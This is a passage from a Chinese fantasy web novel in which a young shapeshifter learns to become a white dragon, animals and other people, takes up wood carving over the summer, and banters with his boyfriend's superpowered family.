姜纶推开一块将近十米高的岩石，告诉他：“这是大门。下次来不要记错了。” “哦。”从来没见过这么气派的大门，一定不会记错，“这是幻术吗？” “不是，就是普通的石头。”姜纶拉着他进山洞。 沙伍抬手摸了摸石头，上面的细缝里还有杂草，甚至开始花：“上次我来的时候，是爸爸带我进来的，直接就在里面了。” “爸妈不在。”怨念很深的姚昭华从深潭里爬上来，对大乌鸦说道，“轮到你了。” 大乌鸦一声不吭，直接飞入深潭。 沙伍看着他们无论是出水还是入水，全都一丝水花都没溅起来，不由得对深潭多看了两眼：“上次爸爸说这个深潭是个幻术，可是怎么感觉这个水是真的？” 姚昭华维持着觉醒体的样子，倚靠在山洞内一张很大很大的沙发上，显然累得很了，说话都有气无力的：“这东西每个污染源都有类似的。这里的是潭水，朱雀城的是岩浆池，无论从外形还是感知中，看起来都和真的一模一样。你甚至可以用水系异能操纵这些潭水。目前为止，只有九级才能够通过这些幻术，到达污染源。” 沙伍觉得这很有趣，只是想到这是什么地方，不敢尝试：“真神奇。” 姜纶没有多少话家常的心情：“爸妈呢？” 姚昭华一脸菜色：“难得抓到可以代班的壮丁，他们度假去了。按照爸的性子，应该去了个没有信号的地方吧？” 话落，姜纶和沙伍互看一眼。 沙伍：果然小少爷像爸爸。 姚昭华说道：“我替了爸妈的工作，我的工作还没人做呢。你马上去干活，不准偷懒知道吗？” 姜纶：“知道。”又一脸难受地抱怨，“爸妈怎么不多生几个？再给我生个弟弟妹妹，我都没人可以推工作。” 沙伍小声安慰他：“以后你多生几个哈哈哈！” 第78章 白龙 疲惫的姚昭华被逗笑，把两个弟弟给扔了出去：“快去生……干活！”差点说成生孩子了。 就算再怎么九级例外论，两个男人应该是生不出孩子的吧？ 不，肯定是生不出孩子的。 姜纶骂骂咧咧，又不得不听话。 沙伍不用干活，一个人骑着小飞车又跑了一次，把给姚昭华带的礼物拿过来：“大姐，你休息吧，我先走了。” “不玩一会儿吗？” “不了，我去找小黄玩。” “好，别跑太远，晚饭记得回家。”姚昭华叮嘱。 沙伍跟姚昭华道别，开着小飞车在院子里找小黄。 他尝试在之前遇到小黄的地方找，但是夏季和冬季的森林环境很不一样。 浓密的植被像是在地上打开的伞，遮挡住地面，根本不能看清楚在地表活动的那些灵巧的小动物。 沙伍试着张开泡泡搜索，但这会儿森林里生机太旺盛，想要从中找出特定的黄喉貂，速度很慢，还有些惊扰到小动物们的正常生活。 他试着放弃小飞车，改用飞板，想着能不能降低一点飞行高度，结果飞了不到十米就被挂树上了。 沙伍抱着树枝骂骂咧咧，看着面前浓密的树林，干脆变成了小白龙。 身体柔软细长的小白龙，很适合穿梭在树丛中。 他刚开始还有些笨拙，很快就变得灵活起来。 想着姜纶说的龙腾云驾雾，他用异能凝结了一些水汽环绕在周身，果然感觉飞行的阻力小了很多。 他的周围很快笼罩了一层白雾，像是一抹在森林里的流云。 这是纯粹的水系异能操纵的水，并不是他的吞噬异能。 路过一片平静的湖面，小白龙低头看到自己的新形象，第一个想到的是：“我要是把吞噬异能混进去，还有谁能打得过我？” 雾气遮蔽视野，再用吞噬异能阴人。 无敌了简直！ 他下一步要做的，就是把这种雾气和吞噬异能混杂的白雾扩大范围。 白雾足够大的话，他一个人就能包围一群人！ 那得多帅啊！ “白云”停留在湖面上方一分钟，往身上多裹了一层云雾，才飞快离开。 雨水丰沛的夏季，森林里到处都是纵横的溪流湖泊，偶尔还能看见飞流而下的瀑布。 中午下了一场雷阵雨。 沙伍在展开的小飞车里吃过饭，睡了个午觉，并没有等来小黄敲门。 睡醒后，他并没有特意等雨停，变成小白龙，从车门滑了出去，顺着小飞车旁边的大树爬到中段一根侧枝上。 天空已经放晴，雨虽然还下着，但显然已经下不了多久了。 他张大嘴打了个大大的哈欠，然后像猫一样躬起身，在大树上磨了磨爪子，不敢用力，像是给大树挠了个痒痒。 他还没有树粗。 不行！ 他不要当小白龙，要当就当白龙！ 小白龙在树枝上站起来，熟练凝聚水汽，然后试着用异能给这层云雾做一些更为精细的改造。 先来个一百米！ 不对，一百零一米！ 他把自己等比例扩大，让小飞车绕着自己360度拍了一段观察，感觉和自己想象中的大白龙不一样。 “不够精细？鳞片不够闪？” “哦，不对。面相太幼了。” 成年龙的长相威严，他现在就是一只等比例放大的宝宝龙。 让他想想姜纶长什么样。 长长的犄角，强壮有力的四肢，看上去不太锋利实际上却十分强力且灵活的爪子。 鬃毛更加长且顺滑飘逸，没有现在这种绒绒的炸毛感。 鳞片更大，更具有光泽，像是温润的美玉。 白龙仰头，稍稍往前跨步，脚下像是踩着看不见的阶梯，很流畅地从森林沿着陡峭的悬崖攀升，远远看着像是一条从崖顶垂下的瀑布。 很轻松……应该说整个人都很飘。 他像是整个人都变成了云雾，顺着风飘飞。 他以为只是简单的伪装，但实际的感觉和想象中的完全不一样。 他不用特意再张开泡泡，森林中的水汽就会给他带来各种讯息。 鸟类在岩石下或者别的地方躲雨，也有的直接淋雨洗澡。 没有屋顶的鸟窝，这个季节已经被废弃，有些被雨水和大风冲刷到了地上。 昆虫躲在树叶的背面。 毛绒绒的小动物们有些躲在高处的窝里，那些低矮的巢穴却没有被淹，反而有着良好的排水系统。 当然，这种气候下，所有巢穴都不可能很干燥。 他的意识顺着水汽，在脑海中勾勒出一副极其复杂的地下图景。 植物庞大的根系，连接根系的更加密布的菌丝，动物们的洞穴，泥土、岩石、水，纷繁复杂地交织在一起，看似毫无章法，又蕴含着自然本身的规律。 整片森林突然被山岚笼罩。 远处龙丘上的人们偶尔远眺：“奇怪，这个时候起雾？” “少见多怪，估计是山里面温度低水汽足，一会儿太阳出来就散了。别摸鱼了，快点干活。” “哦。” 山中的雾气果然很快就消散了。 一片地势较高的石洞中，四只穿着“黄背心”的黄喉貂环绕着一条小白龙睡得像一团麻花。 巢穴内，迷你家政机器人正在努力打扫，并且把一些自己没法处理的事项交给停放在外面的小飞车，然后干脆把黄喉貂和小白龙一起搬到小飞车上。 光线渐渐变暗的时候，姜纶找了过来，看着之前的一只黄喉貂，变成了一窝黄喉貂，只能无奈叹息。 小白龙倒是微微张开了眼睛：“姜小龙……” “嗯。睡吧，到家了再叫你。” “哦。”小白龙撑着坐……胳膊太短了。 相较于三米长的身体，腿实在是很短的小白龙，并不能完成“坐”这个动作。 他只能站、趴、卧、躺，打滚。 为了加快速度，姜纶并没有驾驶小飞车，直接用一个泡泡包裹着小飞车，拽着往家里飞，听着小飞车里自家宝宝龙和黄喉貂家的宝宝貂玩闹。 鲨雕？ 鲨貂？ 小飞车刚在停车场落地，门一打开，五只黄喉貂就冲了出来，嬉闹着打做一团。 它们身体细长，速度飞快，一下就蹿没影。 姜纶并不在意小黄，还是小小黄，只是当他往小飞车里看的时候，发现他的小白龙也不见了。 他眨了一下眼睛。 他的小白龙呢？ 他那么大一条小白龙呢？ 小飞车善解人意，给他播放了一段临下车前的影像。 短短几秒钟内，小白龙变成了黄喉貂。 “啊？”姜纶抹了一把脸，完全忘记了手环联系，直接扯开嗓子喊，“沙伍！” 一道黑黄的身影“歘”一下就扑了过来，顺着他的裤腿爬到肩膀上，再绕到后背，两只前爪搭在一侧肩膀上挂好：“来啦！” 姜纶反手把他抄到前面举起来，又抱好：“怎么又换新形象了？还能变小的？” “嘻嘻。”沙伍用自己毛绒绒的脑袋去蹭他脸和下颌，“我现在超级厉害。” 说着，他变回人形。 下一瞬，四只黄喉貂追到他脚边。 沙伍拉着姜纶走，介绍：“这是小黄的三个小孩，大黄、二黄、三黄。” 黄喉貂乌黑的水润润的眼睛看着他们：“叽叽。” 沙伍学黄喉貂，看着姜纶：“叽叽。” 姜纶瞬间血槽清空，咬牙切齿：“真希望你的身体虚弱也是假装的！” 沙伍想着自己黯淡无光的另外一片星空，举手发誓：“绝对不假！” 他的身体就是差，真真的。 姜纶被撩得脑子都有些混乱了：“你好好的，我怕我等不到那一天，得先把自己憋成污染源。” “不至于不至于。”沙伍赶紧摸摸他的黄毛，再顺顺他的后背。 看来成年龙什么的，计划可以延后。 姜纶这状态，哪天真刀真枪干，他害怕。 伍哥怂了。 晚餐是田书南掌勺，和祁大厨的清淡宝宝餐不同，那叫一个色香味俱全。 黄喉貂的饭食虽然都是肉类，但品种多样、部位齐全、营养均衡。 作为昼行性动物，尤其是三只体型已经和妈妈差不多，但实际上还是宝宝的大黄二黄三黄，很快就睡成了三条皮草。 四脚朝天，肚皮滚圆。 看它们对小黄房间的熟悉程度，显然不是第一次来。 沙伍把三小只排列整齐，问小黄：“你要不要跟它们一起睡？” 小黄表示不用，自己爬到了爬架最高处的床上。 机会难得，它要单独睡。 “好叭。小黄晚安。” “叽叽。” 用手指跟小黄对了一下手掌，沙伍回过头发现姜纶拿着手环对着他日常拍拍拍，但竟然注意力不在他身上，反而在看另外的光屏，走过去：“在看什么？” 姜纶把光屏放大，揽着他的肩膀：“小飞车拍的记录。白龙……照着我的样子变的？” “嗯！像不像！”伍哥是不是超厉害！ 姜纶歪头：“是很像。” 沙伍看他：“你什么表情？” 姜纶指了指自己的脸：“就……太像了。有一种我男朋友变成了我的孪生兄弟的感觉。” 沙伍理解了一下：“那、确实……很混乱。” “嗯，很混乱。” 沙伍拉着他的手摇了摇：“我下次变的时候注意。啊呀~我总共就见过你和妈妈的样子，对你的样子最熟悉，有点脸盲。” 为了纠正自己脸盲，沙伍让管家给自己找了个美术老师，进行一对一辅导。 他的记忆力很好，非常懂得抓住细节，对动物神态的把控尤其到位。 美术老师惊为天人，恨不得倾囊相授。 可惜美术老师也不能告诉他，龙和龙的长相有什么具体的区别。 沙伍只能对着自己的小白龙的脸的影像，开始一点点往成年的方向修改。 让光屏形成大型雕塑一样的效果，手环的能量很难长时间维持。 管家给他准备了一个非常专业的工具，其实就是一个手环的插件，能够提供长效续航。 外观倒是没什么特别的，就是一支笔。 沙伍有一整层作为自己的工作室。 小丑鱼的声音从视频另外一段传过来：“你就是差生文具多。”这笔超级贵的。 “差生什么！老师都说我很有天分。”沙伍仔细描绘龙的爪子。 小丑鱼只看到龙的局部，知道他在做一个龙的作品，问他：“你是打算参加今年青龙城的艺术展吗？” 作为以青龙命名的城市，每年十月份的艺术展上，都会出现大量以青龙为主题的作品。 到时候共工大学也会举办自己的文化艺术节，同时也是一次向社会公众开放的活动。 去年他们刚入学，又是军训又是入学的，忙得团团转，完全错过了节日。 今年的艺术节，小丑鱼还是很有兴趣的。 “没啊。”他又不是搞艺术的，参加什么艺术展？ 小丑鱼指挥他：“给我看看你搞成什么样了？不参加艺术展，这么大一个，你放家里当装饰？还是没打算落实，就作为数据模型存起来？” 沙伍调整了一下角度，让如今还是虚拟的白龙在房间里飞了一圈：“帅不帅？” 可惜这边地方太小了，对一条成年龙来说，很难真的灵活起飞。 “我去！这么大一条！”小丑鱼摆手，“离远点离远点，正对着龙头有点吓人，感觉像是活的一样。” “切~这叫威严！”他按照自家姜小龙捏的，超帅的好嘛。 “你这个龙不是照着小粉捏的？小粉看起来没那么吓人。”小粉变成的龙已经足够吓人了，这条龙明明还是个白坯，瞧着怎么比小粉龙更可怕？ “小粉本来就不吓人，还香香的。”沙伍用切换了画笔的形态，对着四只爪子精雕细琢完成后，感觉找到了一点手感，把龙首扒拉到自己眼前，开始对着脑袋动笔。 小丑鱼的角度看不到龙首，感觉就好了很多：“对了，你什么时候返校？” 沙伍理所当然：“报到的时候去，不出意外的话。你有安排？” “嗯。我想到后土城玩，到时候正好跟你们一起返校。”好朋友就是做什么事情都要一起。 “好啊。你来，我带你玩。白虹来吗？”沙伍问虾同学。 小丑鱼叹气：“白虹那儿怕是不行。在家特训呢。” “哦~也对，白家家大业大的，事情确实多。”沙伍表示理解。 小丑鱼听他这么说就不乐意了：“你说这话合适吗？谁还有你家家大业大？你暑假就没有别的事情，尽玩吗？” 沙伍想想也是，一家那么多九级，估计也没谁了：“那不然呢？我一个一级的小废物，还能干嘛？” 他要做的是不乱跑，保障自己的安全。 小丑鱼心想，虾同学不也是一级嘛。 嗯？ 难道这就是亲儿子和儿媳妇的差别？ 小丑鱼跳过这个话题，比较好奇豪门生活：“你暑假就一直在待在家里，哪儿也不能去？” “没。刚出海回来没多久。”他看到小黄跑了过来，把小黄抱起来给小丑鱼介绍，“小黄，这是我同学花杨蓉。”又对小丑鱼介绍，“这是小黄，今年刚生了三个宝宝，养得超级好。” 黄喉貂对着小丑鱼摆摆手，又对沙伍叫：“叽叽。” 沙伍说道：“小黄叫我去玩了，我晚点给你看大黄二黄三黄。” “哦。”小丑鱼看着脸黑黑爪黑黑怎么看怎么凶的动物，挠头，“你怎么那么喜欢养看上去很凶的宠物？三个黄离得很远吗？现在看不到？” 沙伍给他发照片，去停车场开小飞车：“它们不是宠物。离得不远，就在院子里。我能看到，就是院子里没信号。” 沙伍扫了一下院子。 小丑鱼看了一下：“院子？” 沙伍开着小飞车特意停了一会儿，指给他看：“这一片山都是。” 小丑鱼切断通信。 他以为的待在家里，就是在家无所事事，无聊到甚至想学习。 人家的待在家里，是培养兴趣爱好，和小动物玩耍，进行丛林探险。 算了，他好好努力，以后他的孩子们也能享受到……这样的低配版。 沙伍参与了黄喉貂家族的狩猎活动，然后去了河边捕猎，又带着猎物去了山洞。 这几天盘踞在山洞里的蛇尾巴不见了，取而代之的是站在树梢上晒太阳的大乌鸦。 黄喉貂（伪）爬上树，把一条大鱼递给大乌鸦：“叽叽。” 大乌鸦歪着头看着这个黑黢黢的小动物，不太确定：“小伍？” “嗯。轮到叔叔休息了？” 大乌鸦用爪子摁住鱼，撕着吃肉：“嗯。你怎么变成这幅样子了？” 黄喉貂在摇摇晃晃的树梢上灵活捣腾：“说出来你不信，我掌握了新技能。等你吃完，我再给你展示~” 大乌鸦听他骄傲的小语气，两三下吃完大鱼：“来吧。你家院长说你可能是个鲨雕，是不是真要变成个鲨貂？” 原本得意洋洋的黄喉貂，瞬间炸毛：“啾！院长怎么可以这么说我！我变化超级帅的好嘛！” 说着，他就变成了一条白龙。 美中不足的是，今天太阳很好，山林中的水汽不是很充足，白龙没能膨胀多少。 不过十米长的白龙，在森林里也算是庞然大物了。 大乌鸦呆如木鸡。 过了好一会儿，他才飞到白龙身上，来来回回走了一圈：“你这个有点意思啊，瞧着真真的，就是脸和姜纶长得太像了，搞得跟亲兄弟似的。” “哎呀。”沙伍一下就收起自己的虚胖，变成宝宝龙的样子，“照着我这幅样子变大不够帅。” 大乌鸦看到小白龙，比看到刚才的白龙还惊讶，一爪子把他直接拎起来看：“你这……瞧着比刚才还真啊？” 白龙只要稍微仔细看，倒是不难看出破绽。 眼前的小白龙，怎么瞧着这么真？ 沙伍自己都没整明白，但不妨碍他吹牛：“让你们说我鲨雕，我明明超帅的。” 大乌鸦把他放回树枝上：“细了吧唧的小崽子，轮得到你帅嘛。” “切~”小白龙绕着树杈子来回飞了一圈，“叔，你是不是也看不出我有什么问题？” 大乌鸦把翅膀展开，趴在树梢上晒太阳：“吃得下睡得着就没什么问题。别吵，自己玩去。” “哦。你要吃点东西吗？我回家去给你拿过来？” “不用。” 小白龙觉得树顶太晒了，树荫下就刚刚好。 他缠绕在树枝上，看着头顶的大乌鸦，难道乌鸦就不怕晒？ 他琢磨着，迅速变成了一只和风阳羽几乎一模一样的大乌鸦：“呱。” 大乌鸦没忍住，抬起翅膀拍了他一下：“乌鸦不是这么叫的！” “院长是这么叫的。”夜师傅是最强的！ 大乌鸦看着靠在自己身边的“孪生兄弟”，越看越糟心：“到别处玩去！” “哦……”沙伍试着张开翅膀，低头往下面看了看，感觉太挺高的，犹豫地看向大乌鸦，“叔，我第一次飞，第一次用翅膀飞，要是摔下去，你记得捞我。” 一直没有发挥余地小飞车伸出四条机械臂，飞舞着四只抄网：“放心好了，小车车随时为您服务，为您的出行安全保驾护航。” “果然智能化程度太高了。”沙伍吐槽，张开翅膀，感受到一股气流托举着翅膀，自然而然就飞了起来。 这种飞翔和踩着飞板，或者是作为龙的时候的飞翔很不一样，非得要说的话，比较像他作为大白鲨在海里游泳的时候。 海底有洋流，空中有上升气流。 鱼在水中，鸟在空中，或许本来就是同一种事情。 原本一直做着准备的大乌鸦，没想到沙伍第一次飞竟然就能飞这么好。 他像是天生就有翅膀。 “不会真是鲨雕吧？”真是奇怪的孩子。 已经飞到相当高度的沙伍感觉到一种久违的畅快。 后土城哪里都好，就是不能畅游。 内陆城市，肯定没有海。 变成小白龙后，在森林里穿梭瞧着差不多，感觉却差得很远。 反倒是变成黄喉貂，跟着小黄它们一起打猎玩耍，还有点意思。 沙伍在空中盘旋，没有注意到距离和方位，没多久就被人拦了下来。 “风先生，您总算是现身了。家主人请您回去主持公道。”一只燕子突然飞到他的身边。 第79章 雕刻 沙伍眨巴两下眼睛，收回准备咬一口的嘴巴。 觉醒体小小的也很可爱。 这是把他当作风阳羽了？ 可是他一个一级，也就是在外形上能变得像一点。 他不信别人能够轻易辨认出哪只乌鸦是风阳羽。 可是，风阳羽是九级，他才一级，这是靠着羽毛就能认出来的吗？ 等等，他这是在哪儿？出院子了吗？ 大乌鸦一声不吭，落在一旁的树上，打开手环摇人，嘴上一声不吭。 对这样的态度，燕子觉得很正常，跟着落在一边的树梢上，劝说：“风先生，不管怎么说，家主人始终是您晚辈，您就当是回家去看看？” 燕子内心已经骂了一路。 他一个普普通通的小喽啰，何德何能能够请动风阳羽这尊大佛？ 他本来想着自己到处转一圈，没蹲到人也就完了，没想到还真的蹲到了人。 现在就尴尬了。 他能把风阳羽怎么“请”回去？ 他一个七级的燕子，长处在灵活和耐力上，怎么请得动八级的太阳神鸟？ 哪怕只是半吊子太阳神鸟，人家的先天禀赋跟他这么一只普普通通的燕子能比吗？ 奔波儿燕：让我抓唐僧？ 还好唐僧……不是，是风先生愿意听他说话。 大乌鸦听着燕子啾啾啾地说姜家的情况。 什么大房、二房、三四五六七八房，什么这个夫人那个少夫人，这个少爷那个小姐的，复杂的亲属关系就是用手环录下来，让整理人物关系表都得跑上一分钟。 知道姜纶这边跟姜纶的大爷家关系不好，就这复杂的人际关系，他自己绝对退避三舍。 还好沙伍摇的人很快就来了。 田书南抬手把大乌鸦放在自己胳膊上，对燕子说道：“风先生会在这边待一段时间，你先回去吧。” 燕子在看到田书南的时候，就瞪大了眼睛，等人带着大乌鸦消失在眼前，才咕咚一声咽了咽口水。 整只燕子倒栽葱一样往树下掉落，一直到快落地才勉强拍了两下翅膀，然后变作人形，手瘫脚软了好一阵，才磕磕绊绊变回燕子离开。 沙伍跟着田书南瞬间到家，感觉十分神奇，在茶几插花上跳来跳去：“书南姐书南姐，这是怎么做到的？也是异能吗？” 田书南笑笑：“对啊。小纶没跟你说过我是空间系？”她伸出手指摸了摸大乌鸦的脑袋，“倒是你，怎么做到的？” 她是知道沙伍会变小白龙，最近还在家里折腾大白龙，但是没想到还能变成乌鸦。 沙伍歪头：“照着风叔叔变的。”他落到地上，变成一只黄喉貂，“照着二黄变的。” 田书南伸手把他举起来看：“为什么是二黄？不照着小黄变？” “小黄是女的。”他只是改个外形，没想着改个性别。 田书南把他放下，若有所思：“那你变个我的样子试试？” 沙伍还没想过变成人：“这不好吧？” 田书南就改了个说法：“你变个别的人试试？” 沙伍想了想，白雾环绕，很快就变成了姜纶的样子：“好像还真行。像不像？” 他打开手环对着自己照：“等姜纶回来了去吓他。” “哈哈哈。”田书南忍不住笑，“你声音再变一下？” “哦，对。声音怎么变？”沙伍清了清嗓子，自己尝试了一下，并没能控制。 田书南就直接带他去书房，给他讲解人体发声的机制，怎么通过声带来调节，发声的位置之类。 姜纶工作中间跟沙伍视频，还以为他在学声乐。 沙伍学了两天之后，开始学人体解剖，拿着模型来回比划，来回变身。 姜纶下班回家，得知沙伍还在书房学习，走进去看到人体模型，疑惑：“声乐老师用的不都是上半身的模型？你这个是学声乐，还是学医学？” “啊？都不是，我就学个人体结构。人类太复杂了。”变人的难度一下子从10，变到了1000。 他的变化不是简单的用异能给自己制造一个壳子，而是整个身体结构发生变化。 如果是变一个不存在的人，那很简单。 但如果是变成一个现实中存在的人，可就复杂太多了。 他现在只能模仿最熟悉的姜纶的外貌，行为举止也可以模仿个七七八八，但是别的方面就相差很多。 姜纶往书桌上一坐，伸手摸了摸他扎起来的小揪揪：“在家不无聊？我陪你出去逛逛？” “不无聊啊。你工作那么忙，还是多休息吧。”沙伍拍开他的手，“别乱动。一会儿散了，又掉下来挡眼睛。” “那就修一下。” “家里的美容师没有金金哥好说话，我说要把脑门露出来，他只肯给我抹发胶固定。想再剪掉一点，他要找我拼命。”人家一个八级，他一个一级，拿什么去拼？只能屈服。 姜纶看他微微噘着嘴抱怨，俯身凑过去亲了一下：“怎么这么乖？” “滚蛋。”沙伍扭头就咬了他一口，突然站起来，呲牙一笑，“给你看看我这段时间的学习成果。” “好啊。”是要唱歌给他听吗？ 然后他就感觉到一阵很轻微的异能波动，沙伍从一个白发帅哥，变成了一个身高两米体重200斤，像是一堵墙一样的壮汉。 他清了清嗓子，声线也发生了变化：“怎么样？看不出来吧？” 姜纶抬手摸摸他的脸，再摸摸他的手臂：“看不出来。你这样出门倒是没人会认出来，就是这个样子太显眼了。” 两米的身高，哪怕是在平均身高偏高的青龙城，也是鹤立鸡群的存在。 “哎？那我变普通一点。”说着，沙伍当着姜纶的面开始捏脸。 发色改成黑色，脸上多一点肉，五官略微做一些调整，然后身上再增加大概二十斤的体重。 每个细节调整得都不多，但综合下来就换了个人。 姜纶感觉自己也没眨眼，怎么突然就换了个人：“好厉害。完全认不出来。” 沙伍对着镜子开始修改骨骼，随口说道：“厉害吧？”然后勾着姜纶的脖子想顺嘴亲一下，被姜纶躲开，顿时不解，“干嘛？” 姜纶退开好几步，抹脸：“不行，你这幅样子我亲不下去，感觉像出轨。” “啊？”沙伍看着镜子里变了一个人的自己，理解，“也行叭。” 姜纶就见他修改骨骼、肌肉和脂肪，在皮肤上增加痣和小疤痕，很快就从一个身材完美的帅哥，变成了一个只有一点小帅的普通人。 沙伍又打开网络商城，从上面选了一些款式和剪裁相对普通的衣服，照着变化：“这下要是我的衣服再完蛋了，可以不愁没衣服穿。” 自从有异能之后，他都遇到过多少次没衣服穿的窘境了。 对他来说，这个新技能带给他最实用的点，可能就在这里。 姜纶听得好笑：“一般没有低阶异能者经常混污染区。” “所以其他人就没这个困扰呗。花杨蓉他们平时最远也就是到3号监测点，完全不费衣服。”沙伍皱了皱鼻子，又修改了一下耳朵轮廓，“嗯，接下来大概就手环上的身份信息会暴露了。” 姜纶表示：“这是小问题，我给你弄个新身份。” 沙伍没想到身份信息都能搞新的，想想姜家的能量，又觉得确实不难：“哦。” 只是他以为再怎么快，也得等明天姜纶下班回来给他带，没想到等姜纶洗完澡吃过晚饭，装载了新身份的手环就已经放到了沙伍的书桌上。 “这么快？” “小事。”姜纶把要坐下去的沙伍拉起来，“走啊，出去玩。” “用新身份出去吗？” 姜纶否认：“当然不是。就用你现在的样子出去，加深长发白毛的印象。这样你之后再换别的身份出去，就会减少和你的联系。一个身份不够，回头再弄几个身份。要是有什么人跟踪，你换着身份在人流量大的地方绕一圈，除了一些特殊手段，应该没人能认得出来。” “什么特殊手段？异能？” “对。有很多追踪异能，像是你对异能和污染的嗅觉，也算是其中一种。对你的异能来说，其实目标的外形根本不重要，只要异能没有变化，你就不会丢失目标。”而异能产生变化，不能说完全没有可能，只能说概率极低，低到可以忽略不计。 “我就变个没有异能的普通人，应该没人会对我上手段。”沙伍觉得问题不大，“再说我也没非得要出去溜达。” 明明知道外面不太平，他干嘛要非得出门给自己找危险？ 又不是活得不耐烦了。 姜纶就看着嘴上说着不出去溜达的人，第二天一早就出门，比他这个出门上班的还早。 田书南直接通过空间异能把沙伍送到了一间老城区的民宿里：“那你自己去玩，我先回去了。” “好，书南姐拜拜。”沙伍跟田书南道别，打量了一下一眼能看到全貌的民宿，收拾出一些人住过的痕迹，就背着包出门。 这个民宿有几十间客房，没有人工服务，收费低廉，来来往往的客流量很大，很多都是像沙伍这样暑期穷游的学生，或者是出差待遇不怎么高的小职员。 沙伍觉得这些小职员很有意思，感觉自己是不是可以模仿一下岁数比他大上五六岁的人。 看到别人回头看他，他才意识到自己盯着人太久了，指了指前面的早餐店，那位小职员才移开视线。 这是一家在本地和网上都很有名的老字号餐饮店。 沙伍出门已经算是早的，但里面已经坐满了人。 他查过攻略，并没有选择堂食，到了外送窗口直接取了自己的早餐，在附近公园随便找了个凳子坐着吃，一边看一些晨练的大爷大妈。 他们的活动十分丰富，光是跳舞就有好几种，还有各种养生武术。 沙伍看到有别的游客打扮的年轻人加入，自己吃过早餐也跟着去比划了两下，又去看老年人乐团，最后又看了一场乐团和舞团之间的斗殴——因为对方的音乐太大声，影响到了节奏。 作为在场的目击证人，沙伍被带到派出所做了个笔录，还把自己手环记录下来的视频上交作为证据。 负责处理的小警察语气平静，显然已经习以为常：“后续没什么事情了，祝你在后土城玩得愉快。” 沙伍拿着作为耽误时间补偿得来的七日免费交通卡，发现竟然能刷城际列车，直接去了后土城附近的小城市。 于是姜纶工作间隙刷沙伍定位的时候，发现他已经跑隔壁渭城去了。 姜小龙：？ 沙小鱼：？？ 姜小龙：不是出门去吃个早饭吗？一个早饭吃到了隔壁市？ 沙小鱼：没，去吃午饭。 姜小龙：？？？ 沙小鱼：后土城里的景点我都逛得差不多了，去附近见识见识。 沙小鱼：我有这个【七日免费交通卡】 姜小龙：晚上回来吃饭吗？ 沙小鱼：回来的吧？ 沙小鱼：应该。 姜小龙感觉沙小鱼大概率晚上不会回来了，结果他回来了，还比自己早到家：“小鲨鱼？” 沙伍拿着笔在修改自己的白龙，像是一整个白天都在家里一样，问：“怎么了？” 姜纶上前把人抱住，语气闷闷的：“还以为你今天晚上不回来了。” 沙伍本来想轻松地笑笑，感觉到姜纶的依赖，伸手环抱住他：“我不是说了会回来的吗？本来想随便逛一下，后来书南姐说可以直接到渭城接我。” 他就在渭城那边开了个无人自助房间，能回家肯定是回家最舒服。 “空间系异能是真方便啊。”沙伍感慨，“异能到高级别之后，是不是都能用空间系异能？空间异能是用什么异能转化出来的？” “不能。”姜纶给了他否定的答案，“空间系和时间系属于有就有，没有就没有的异能。” “咦？是这样的吗？”沙伍意外，想想又觉得合理，“还有时间系？是不是可以时间回溯什么的？” 他记得自己看过一部相关影片。 姜纶认真想了想：“不能说百分百没有，但是我没听说过有人能时间回溯。时间系，你可以理解为预知。只不过未来并不是确定的，他们能够预知到的事情不一定会真的发生。” “被你这么一说，突然感觉就不神秘了。啊！”沙伍推开姜纶，又拉着他去17楼的书房，“我给你买了礼物。” 一个小人钓鱼的木头雕刻，木料很普通，雕工竟然很细腻，看似简单的几笔，愣是能把神韵雕出来。 “是不是很像你？” “不像，像我还差一条小鲨鱼。”姜纶眉眼带笑，把木雕装回盒子，拉着沙伍一起回到自己房间，然后把木雕放在书桌上。 沙伍看他脸上压不住的笑，就知道他很喜欢。 接下来的暑假，沙伍几乎每天都去渭城，跟着那个木雕大师学雕刻。 老头每天都拿着一堆能够直接当柴火烧的木头，用一把小刻刀唰唰唰。 沙伍也每天拿着木料，一天天在那儿雕一些奇怪的小动物。 沙伍每天给老头带饭，老头偶尔开口指点几句。 等暑假快结束，老头才问沙伍：“你是哪个美院的？要不要考虑转学到这边来？” 沙伍只能拒绝老头的好意：“我不是美院的，只是对雕刻感兴趣。” 他和老头加了联系方式，回去给姜纶看。 姜纶惊讶：“你竟然认识了彭大师。” 他知道沙伍买雕刻的肯定是一位大师，毕竟雕刻功力摆在那儿，但没想到竟然会是这么一位大师。 沙伍这种连半吊子都谈不上的雕刻兴趣爱好者，没听过彭大师的名头：“很有名？” “是的。”姜纶想了想，用一种小鲨鱼比较好理解的方式解释，“彭大师雕刻的作品，价格和同等大小的宝石级晶核差不多。” “哇哦！那很贵了。”沙伍想着自己花了五位数买的小人钓鱼雕刻，“我还以为老头是看我花大价钱买了个破木头，才教我一点。那我赚大了。” 话是这么说，他们肯定不会把小木雕拿出去变现，纯收藏的话，只看自己喜欢就行。 对于姜纶来说，彭大师的名头并不重要，重要的是沙伍的心意。 姜纶感觉是自家小鲨鱼太讨人喜欢了。 “明天你还出门吗？” “不出去了。我去跟大姐和风叔叔说一声，后天返校。”他伸了个懒腰，放下手直接搭在姜纶后背上，“感觉一个暑假啥都没干。” 姜纶把他背起来：“明明你干了很多事。对了，花杨蓉什么时候过来？要不要派人去接？” “我们是后天早上走吧？他大概明天晚上过来。我再问问他。”沙伍趴在姜纶背上发消息，很快得到了答复，“我让他明天下午过来？” “行。你跟管家说一下，让他派车去接。外面的车进不来。” “好。”沙伍跟小丑鱼发完消息，“他要是来得早的话，我还能带着他认识小黄一家。你明天还上班吗？” “不上了。”姜纶突然顿了一下，“爸妈回来了。” 沙伍试着感应一下，啥都没感应到：“血缘之间的羁绊？” “不是。他们刚才漏了一点气息，算是定期震慑。不然长期不露面，会有一些跳梁小丑。”姜纶带着沙伍直接去了山洞。 姜俣和姚瑞云果然回来了，红光满面的。 姚昭华是肉眼可见的憔悴。 变成人形的风阳羽，脸色白得跟鬼一样。 沙伍看着两人的状态，突然领悟：“所以厉害的九级都在镇压污染源，菜鸟九级在外面到处乱跑。” 两个菜鸟九级顿时就联手把沙伍揍了一顿。 沙伍被揍成一条小白龙，爬到姜俣身边：“爸爸，他们欺负我！” 他本来是想往姚瑞云那边爬的，只是感觉到压力，福至心灵想到姜纶有事没事就醋一下的德行，一扭头就转去找了姜俣。 果然姜爸爸表示满意，护住小儿子，把佯装愤怒的女儿和堂弟拦住：“好啦，小伍又没说错。你们一个九级了两百多年，到现在镇压一个污染源才几天？一个好歹也一百多岁了，才刚刚到九级。” 姚昭华本来觉得自己挺厉害的，但是……她委顿地坐在爸爸的尾巴上：“我的实力真的该提升了。”竟然跟爸妈差距那么大。 